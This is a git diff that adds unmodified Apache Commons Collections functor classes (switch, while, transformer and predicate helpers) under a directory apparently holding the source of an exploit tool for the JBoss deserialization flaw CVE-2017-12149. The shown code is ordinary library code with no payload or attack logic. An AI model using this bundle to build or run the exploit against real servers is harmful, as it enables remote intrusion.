diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/StringValueTransformer.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/StringValueTransformer.java"
new file mode 100644
index 0000000..1bb94db
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/StringValueTransformer.java"
@@ -0,0 +1,65 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+
+import org.apache.commons.collections.Transformer;
+
+/**
+ * Transformer implementation that returns the String.valueOf
.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.7 $ $Date: 2004/05/16 11:36:31 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class StringValueTransformer implements Transformer, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = 7511110693171758606L;
+
+ /** Singleton predicate instance */
+ public static final Transformer INSTANCE = new StringValueTransformer();
+
+ /**
+ * Factory returning the singleton instance.
+ *
+ * @return the singleton instance
+ * @since Commons Collections 3.1
+ */
+ public static Transformer getInstance() {
+ return INSTANCE;
+ }
+
+ /**
+ * Restricted constructor.
+ */
+ private StringValueTransformer() {
+ super();
+ }
+
+ /**
+ * Transforms the input to result by calling String.valueOf
.
+ *
+ * @param input the input object to transform
+ * @return the transformed result
+ */
+ public Object transform(Object input) {
+ return String.valueOf(input);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/SwitchClosure.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/SwitchClosure.java"
new file mode 100644
index 0000000..7cae97e
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/SwitchClosure.java"
@@ -0,0 +1,174 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+import java.util.Iterator;
+import java.util.Map;
+
+import org.apache.commons.collections.Closure;
+import org.apache.commons.collections.Predicate;
+
+/**
+ * Closure implementation calls the closure whose predicate returns true,
+ * like a switch statement.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.5 $ $Date: 2004/05/16 11:47:38 $
+ *
+ * @author Stephen Colebourne
+ */
+public class SwitchClosure implements Closure, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = 3518477308466486130L;
+
+ /** The tests to consider */
+ private final Predicate[] iPredicates;
+ /** The matching closures to call */
+ private final Closure[] iClosures;
+ /** The default closure to call if no tests match */
+ private final Closure iDefault;
+
+ /**
+ * Factory method that performs validation and copies the parameter arrays.
+ *
+ * @param predicates array of predicates, cloned, no nulls
+ * @param closures matching array of closures, cloned, no nulls
+ * @param defaultClosure the closure to use if no match, null means nop
+ * @return the chained
closure
+ * @throws IllegalArgumentException if array is null
+ * @throws IllegalArgumentException if any element in the array is null
+ */
+ public static Closure getInstance(Predicate[] predicates, Closure[] closures, Closure defaultClosure) {
+ FunctorUtils.validate(predicates);
+ FunctorUtils.validate(closures);
+ if (predicates.length != closures.length) {
+ throw new IllegalArgumentException("The predicate and closure arrays must be the same size");
+ }
+ if (predicates.length == 0) {
+ return (defaultClosure == null ? NOPClosure.INSTANCE : defaultClosure);
+ }
+ predicates = FunctorUtils.copy(predicates);
+ closures = FunctorUtils.copy(closures);
+ return new SwitchClosure(predicates, closures, defaultClosure);
+ }
+
+ /**
+ * Create a new Closure that calls one of the closures depending
+ * on the predicates.
+ * switch
closure
+ * @throws IllegalArgumentException if the map is null
+ * @throws IllegalArgumentException if any closure in the map is null
+ * @throws ClassCastException if the map elements are of the wrong type
+ */
+ public static Closure getInstance(Map predicatesAndClosures) {
+ Closure[] closures = null;
+ Predicate[] preds = null;
+ if (predicatesAndClosures == null) {
+ throw new IllegalArgumentException("The predicate and closure map must not be null");
+ }
+ if (predicatesAndClosures.size() == 0) {
+ return NOPClosure.INSTANCE;
+ }
+ // convert to array like this to guarantee iterator() ordering
+ Closure defaultClosure = (Closure) predicatesAndClosures.remove(null);
+ int size = predicatesAndClosures.size();
+ if (size == 0) {
+ return (defaultClosure == null ? NOPClosure.INSTANCE : defaultClosure);
+ }
+ closures = new Closure[size];
+ preds = new Predicate[size];
+ int i = 0;
+ for (Iterator it = predicatesAndClosures.entrySet().iterator(); it.hasNext();) {
+ Map.Entry entry = (Map.Entry) it.next();
+ preds[i] = (Predicate) entry.getKey();
+ closures[i] = (Closure) entry.getValue();
+ i++;
+ }
+ return new SwitchClosure(preds, closures, defaultClosure);
+ }
+
+ /**
+ * Constructor that performs no validation.
+ * Use getInstance
if you want that.
+ *
+ * @param predicates array of predicates, not cloned, no nulls
+ * @param closures matching array of closures, not cloned, no nulls
+ * @param defaultClosure the closure to use if no match, null means nop
+ */
+ public SwitchClosure(Predicate[] predicates, Closure[] closures, Closure defaultClosure) {
+ super();
+ iPredicates = predicates;
+ iClosures = closures;
+ iDefault = (defaultClosure == null ? NOPClosure.INSTANCE : defaultClosure);
+ }
+
+ /**
+ * Executes the closure whose matching predicate returns true
+ *
+ * @param input the input object
+ */
+ public void execute(Object input) {
+ for (int i = 0; i < iPredicates.length; i++) {
+ if (iPredicates[i].evaluate(input) == true) {
+ iClosures[i].execute(input);
+ return;
+ }
+ }
+ iDefault.execute(input);
+ }
+
+ /**
+ * Gets the predicates, do not modify the array.
+ *
+ * @return the predicates
+ * @since Commons Collections 3.1
+ */
+ public Predicate[] getPredicates() {
+ return iPredicates;
+ }
+
+ /**
+ * Gets the closures, do not modify the array.
+ *
+ * @return the closures
+ * @since Commons Collections 3.1
+ */
+ public Closure[] getClosures() {
+ return iClosures;
+ }
+
+ /**
+ * Gets the default closure.
+ *
+ * @return the default closure
+ * @since Commons Collections 3.1
+ */
+ public Closure getDefaultClosure() {
+ return iDefault;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/SwitchTransformer.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/SwitchTransformer.java"
new file mode 100644
index 0000000..4ebff1e
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/SwitchTransformer.java"
@@ -0,0 +1,175 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+import java.util.Iterator;
+import java.util.Map;
+
+import org.apache.commons.collections.Predicate;
+import org.apache.commons.collections.Transformer;
+
+/**
+ * Transformer implementation calls the transformer whose predicate returns true,
+ * like a switch statement.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.5 $ $Date: 2004/05/16 11:36:31 $
+ *
+ * @author Stephen Colebourne
+ */
+public class SwitchTransformer implements Transformer, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = -6404460890903469332L;
+
+ /** The tests to consider */
+ private final Predicate[] iPredicates;
+ /** The matching transformers to call */
+ private final Transformer[] iTransformers;
+ /** The default transformer to call if no tests match */
+ private final Transformer iDefault;
+
+ /**
+ * Factory method that performs validation and copies the parameter arrays.
+ *
+ * @param predicates array of predicates, cloned, no nulls
+ * @param transformers matching array of transformers, cloned, no nulls
+ * @param defaultTransformer the transformer to use if no match, null means nop
+ * @return the chained
transformer
+ * @throws IllegalArgumentException if array is null
+ * @throws IllegalArgumentException if any element in the array is null
+ */
+ public static Transformer getInstance(Predicate[] predicates, Transformer[] transformers, Transformer defaultTransformer) {
+ FunctorUtils.validate(predicates);
+ FunctorUtils.validate(transformers);
+ if (predicates.length != transformers.length) {
+ throw new IllegalArgumentException("The predicate and transformer arrays must be the same size");
+ }
+ if (predicates.length == 0) {
+ return (defaultTransformer == null ? ConstantTransformer.NULL_INSTANCE : defaultTransformer);
+ }
+ predicates = FunctorUtils.copy(predicates);
+ transformers = FunctorUtils.copy(transformers);
+ return new SwitchTransformer(predicates, transformers, defaultTransformer);
+ }
+
+ /**
+ * Create a new Transformer that calls one of the transformers depending
+ * on the predicates.
+ * switch
transformer
+ * @throws IllegalArgumentException if the map is null
+ * @throws IllegalArgumentException if any transformer in the map is null
+ * @throws ClassCastException if the map elements are of the wrong type
+ */
+ public static Transformer getInstance(Map predicatesAndTransformers) {
+ Transformer[] transformers = null;
+ Predicate[] preds = null;
+ if (predicatesAndTransformers == null) {
+ throw new IllegalArgumentException("The predicate and transformer map must not be null");
+ }
+ if (predicatesAndTransformers.size() == 0) {
+ return ConstantTransformer.NULL_INSTANCE;
+ }
+ // convert to array like this to guarantee iterator() ordering
+ Transformer defaultTransformer = (Transformer) predicatesAndTransformers.remove(null);
+ int size = predicatesAndTransformers.size();
+ if (size == 0) {
+ return (defaultTransformer == null ? ConstantTransformer.NULL_INSTANCE : defaultTransformer);
+ }
+ transformers = new Transformer[size];
+ preds = new Predicate[size];
+ int i = 0;
+ for (Iterator it = predicatesAndTransformers.entrySet().iterator(); it.hasNext();) {
+ Map.Entry entry = (Map.Entry) it.next();
+ preds[i] = (Predicate) entry.getKey();
+ transformers[i] = (Transformer) entry.getValue();
+ i++;
+ }
+ return new SwitchTransformer(preds, transformers, defaultTransformer);
+ }
+
+ /**
+ * Constructor that performs no validation.
+ * Use getInstance
if you want that.
+ *
+ * @param predicates array of predicates, not cloned, no nulls
+ * @param transformers matching array of transformers, not cloned, no nulls
+ * @param defaultTransformer the transformer to use if no match, null means nop
+ */
+ public SwitchTransformer(Predicate[] predicates, Transformer[] transformers, Transformer defaultTransformer) {
+ super();
+ iPredicates = predicates;
+ iTransformers = transformers;
+ iDefault = (defaultTransformer == null ? ConstantTransformer.NULL_INSTANCE : defaultTransformer);
+ }
+
+ /**
+ * Transforms the input to result by calling the transformer whose matching
+ * predicate returns true.
+ *
+ * @param input the input object to transform
+ * @return the transformed result
+ */
+ public Object transform(Object input) {
+ for (int i = 0; i < iPredicates.length; i++) {
+ if (iPredicates[i].evaluate(input) == true) {
+ return iTransformers[i].transform(input);
+ }
+ }
+ return iDefault.transform(input);
+ }
+
+ /**
+ * Gets the predicates, do not modify the array.
+ *
+ * @return the predicates
+ * @since Commons Collections 3.1
+ */
+ public Predicate[] getPredicates() {
+ return iPredicates;
+ }
+
+ /**
+ * Gets the transformers, do not modify the array.
+ *
+ * @return the transformers
+ * @since Commons Collections 3.1
+ */
+ public Transformer[] getTransformers() {
+ return iTransformers;
+ }
+
+ /**
+ * Gets the default transformer.
+ *
+ * @return the default transformer
+ * @since Commons Collections 3.1
+ */
+ public Transformer getDefaultTransformer() {
+ return iDefault;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/TransformedPredicate.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/TransformedPredicate.java"
new file mode 100644
index 0000000..d73c386
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/TransformedPredicate.java"
@@ -0,0 +1,103 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+
+import org.apache.commons.collections.Predicate;
+import org.apache.commons.collections.Transformer;
+
+/**
+ * Predicate implementation that transforms the given object before invoking
+ * another Predicate
.
+ *
+ * @since Commons Collections 3.1
+ * @version $Revision: 1.4 $ $Date: 2004/05/31 16:43:17 $
+ * @author Alban Peignier
+ * @author Stephen Colebourne
+ */
+public final class TransformedPredicate implements Predicate, PredicateDecorator, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = -5596090919668315834L;
+
+ /** The transformer to call */
+ private final Transformer iTransformer;
+ /** The predicate to call */
+ private final Predicate iPredicate;
+
+ /**
+ * Factory to create the predicate.
+ *
+ * @param transformer the transformer to call
+ * @param predicate the predicate to call with the result of the transform
+ * @return the predicate
+ * @throws IllegalArgumentException if the transformer or the predicate is null
+ */
+ public static Predicate getInstance(Transformer transformer, Predicate predicate) {
+ if (transformer == null) {
+ throw new IllegalArgumentException("The transformer to call must not be null");
+ }
+ if (predicate == null) {
+ throw new IllegalArgumentException("The predicate to call must not be null");
+ }
+ return new TransformedPredicate(transformer, predicate);
+ }
+
+ /**
+ * Constructor that performs no validation.
+ * Use getInstance
if you want that.
+ *
+ * @param transformer the transformer to use
+ * @param predicate the predicate to decorate
+ */
+ public TransformedPredicate(Transformer transformer, Predicate predicate) {
+ iTransformer = transformer;
+ iPredicate = predicate;
+ }
+
+ /**
+ * Evaluates the predicate returning the result of the decorated predicate
+ * once the input has been transformed
+ *
+ * @param object the input object which will be transformed
+ * @return true if decorated predicate returns true
+ */
+ public boolean evaluate(Object object) {
+ Object result = iTransformer.transform(object);
+ return iPredicate.evaluate(result);
+ }
+
+ /**
+ * Gets the predicate being decorated.
+ *
+ * @return the predicate as the only element in an array
+ * @since Commons Collections 3.1
+ */
+ public Predicate[] getPredicates() {
+ return new Predicate[] {iPredicate};
+ }
+
+ /**
+ * Gets the transformer in use.
+ *
+ * @return the transformer
+ */
+ public Transformer getTransformer() {
+ return iTransformer;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/TransformerClosure.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/TransformerClosure.java"
new file mode 100644
index 0000000..8073846
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/TransformerClosure.java"
@@ -0,0 +1,85 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+
+import org.apache.commons.collections.Closure;
+import org.apache.commons.collections.Transformer;
+
+/**
+ * Closure implementation that calls a Transformer using the input object
+ * and ignore the result.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.5 $ $Date: 2004/05/16 11:47:38 $
+ *
+ * @author Stephen Colebourne
+ */
+public class TransformerClosure implements Closure, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = -5194992589193388969L;
+
+ /** The transformer to wrap */
+ private final Transformer iTransformer;
+
+ /**
+ * Factory method that performs validation.
+ * NOPClosure
.
+ *
+ * @param transformer the transformer to call, null means nop
+ * @return the transformer
closure
+ */
+ public static Closure getInstance(Transformer transformer) {
+ if (transformer == null) {
+ return NOPClosure.INSTANCE;
+ }
+ return new TransformerClosure(transformer);
+ }
+
+ /**
+ * Constructor that performs no validation.
+ * Use getInstance
if you want that.
+ *
+ * @param transformer the transformer to call, not null
+ */
+ public TransformerClosure(Transformer transformer) {
+ super();
+ iTransformer = transformer;
+ }
+
+ /**
+ * Executes the closure by calling the decorated transformer.
+ *
+ * @param input the input object
+ */
+ public void execute(Object input) {
+ iTransformer.transform(input);
+ }
+
+ /**
+ * Gets the transformer.
+ *
+ * @return the transformer
+ * @since Commons Collections 3.1
+ */
+ public Transformer getTransformer() {
+ return iTransformer;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/TransformerPredicate.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/TransformerPredicate.java"
new file mode 100644
index 0000000..73f74be
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/TransformerPredicate.java"
@@ -0,0 +1,92 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+
+import org.apache.commons.collections.FunctorException;
+import org.apache.commons.collections.Predicate;
+import org.apache.commons.collections.Transformer;
+
+/**
+ * Predicate implementation that returns the result of a transformer.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.6 $ $Date: 2004/05/16 11:16:01 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class TransformerPredicate implements Predicate, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = -2407966402920578741L;
+
+ /** The transformer to call */
+ private final Transformer iTransformer;
+
+ /**
+ * Factory to create the predicate.
+ *
+ * @param transformer the transformer to decorate
+ * @return the predicate
+ * @throws IllegalArgumentException if the transformer is null
+ */
+ public static Predicate getInstance(Transformer transformer) {
+ if (transformer == null) {
+ throw new IllegalArgumentException("The transformer to call must not be null");
+ }
+ return new TransformerPredicate(transformer);
+ }
+
+ /**
+ * Constructor that performs no validation.
+ * Use getInstance
if you want that.
+ *
+ * @param transformer the transformer to decorate
+ */
+ public TransformerPredicate(Transformer transformer) {
+ super();
+ iTransformer = transformer;
+ }
+
+ /**
+ * Evaluates the predicate returning the result of the decorated transformer.
+ *
+ * @param object the input object
+ * @return true if decorated transformer returns Boolean.TRUE
+ * @throws FunctorException if the transformer returns an invalid type
+ */
+ public boolean evaluate(Object object) {
+ Object result = iTransformer.transform(object);
+ if (result instanceof Boolean == false) {
+ throw new FunctorException(
+ "Transformer must return an instanceof Boolean, it was a "
+ + (result == null ? "null object" : result.getClass().getName()));
+ }
+ return ((Boolean) result).booleanValue();
+ }
+
+ /**
+ * Gets the transformer.
+ *
+ * @return the transformer
+ * @since Commons Collections 3.1
+ */
+ public Transformer getTransformer() {
+ return iTransformer;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/TruePredicate.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/TruePredicate.java"
new file mode 100644
index 0000000..a8f028d
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/TruePredicate.java"
@@ -0,0 +1,65 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+
+import org.apache.commons.collections.Predicate;
+
+/**
+ * Predicate implementation that always returns true.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.6 $ $Date: 2004/05/16 11:16:01 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class TruePredicate implements Predicate, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = 3374767158756189740L;
+
+ /** Singleton predicate instance */
+ public static final Predicate INSTANCE = new TruePredicate();
+
+ /**
+ * Factory returning the singleton instance.
+ *
+ * @return the singleton instance
+ * @since Commons Collections 3.1
+ */
+ public static Predicate getInstance() {
+ return INSTANCE;
+ }
+
+ /**
+ * Restricted constructor.
+ */
+ private TruePredicate() {
+ super();
+ }
+
+ /**
+ * Evaluates the predicate returning true always.
+ *
+ * @param object the input object
+ * @return true always
+ */
+ public boolean evaluate(Object object) {
+ return true;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/UniquePredicate.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/UniquePredicate.java"
new file mode 100644
index 0000000..56264a7
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/UniquePredicate.java"
@@ -0,0 +1,70 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+import java.util.HashSet;
+import java.util.Set;
+
+import org.apache.commons.collections.Predicate;
+
+/**
+ * Predicate implementation that returns true the first time an object is
+ * passed into the predicate.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.4 $ $Date: 2004/05/16 11:16:01 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class UniquePredicate implements Predicate, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = -3319417438027438040L;
+
+ /** The set of previously seen objects */
+ private final Set iSet = new HashSet();
+
+ /**
+ * Factory to create the predicate.
+ *
+ * @return the predicate
+ * @throws IllegalArgumentException if the predicate is null
+ */
+ public static Predicate getInstance() {
+ return new UniquePredicate();
+ }
+
+ /**
+ * Constructor that performs no validation.
+ * Use getInstance
if you want that.
+ */
+ public UniquePredicate() {
+ super();
+ }
+
+ /**
+ * Evaluates the predicate returning true if the input object hasn't been
+ * received yet.
+ *
+ * @param object the input object
+ * @return true if this is the first time the object is seen
+ */
+ public boolean evaluate(Object object) {
+ return iSet.add(object);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/WhileClosure.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/WhileClosure.java"
new file mode 100644
index 0000000..f39d608
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/WhileClosure.java"
@@ -0,0 +1,122 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+
+import org.apache.commons.collections.Closure;
+import org.apache.commons.collections.Predicate;
+
+/**
+ * Closure implementation that executes a closure repeatedly until a condition is met,
+ * like a do-while or while loop.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.5 $ $Date: 2004/05/16 11:47:38 $
+ *
+ * @author Stephen Colebourne
+ */
+public class WhileClosure implements Closure, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = -3110538116913760108L;
+
+ /** The test condition */
+ private final Predicate iPredicate;
+ /** The closure to call */
+ private final Closure iClosure;
+ /** The flag, true is a do loop, false is a while */
+ private final boolean iDoLoop;
+
+ /**
+ * Factory method that performs validation.
+ *
+ * @param predicate the predicate used to evaluate when the loop terminates, not null
+ * @param closure the closure the execute, not null
+ * @param doLoop true to act as a do-while loop, always executing the closure once
+ * @return the while
closure
+ * @throws IllegalArgumentException if the predicate or closure is null
+ */
+ public static Closure getInstance(Predicate predicate, Closure closure, boolean doLoop) {
+ if (predicate == null) {
+ throw new IllegalArgumentException("Predicate must not be null");
+ }
+ if (closure == null) {
+ throw new IllegalArgumentException("Closure must not be null");
+ }
+ return new WhileClosure(predicate, closure, doLoop);
+ }
+
+ /**
+ * Constructor that performs no validation.
+ * Use getInstance
if you want that.
+ *
+ * @param predicate the predicate used to evaluate when the loop terminates, not null
+ * @param closure the closure the execute, not null
+ * @param doLoop true to act as a do-while loop, always executing the closure once
+ */
+ public WhileClosure(Predicate predicate, Closure closure, boolean doLoop) {
+ super();
+ iPredicate = predicate;
+ iClosure = closure;
+ iDoLoop = doLoop;
+ }
+
+ /**
+ * Executes the closure until the predicate is false.
+ *
+ * @param input the input object
+ */
+ public void execute(Object input) {
+ if (iDoLoop) {
+ iClosure.execute(input);
+ }
+ while (iPredicate.evaluate(input)) {
+ iClosure.execute(input);
+ }
+ }
+
+ /**
+ * Gets the predicate in use.
+ *
+ * @return the predicate
+ * @since Commons Collections 3.1
+ */
+ public Predicate getPredicate() {
+ return iPredicate;
+ }
+
+ /**
+ * Gets the closure.
+ *
+ * @return the closure
+ * @since Commons Collections 3.1
+ */
+ public Closure getClosure() {
+ return iClosure;
+ }
+
+ /**
+ * Is the loop a do-while loop.
+ *
+ * @return true is do-while, false if while
+ * @since Commons Collections 3.1
+ */
+ public boolean isDoLoop() {
+ return iDoLoop;
+ }
+
+}
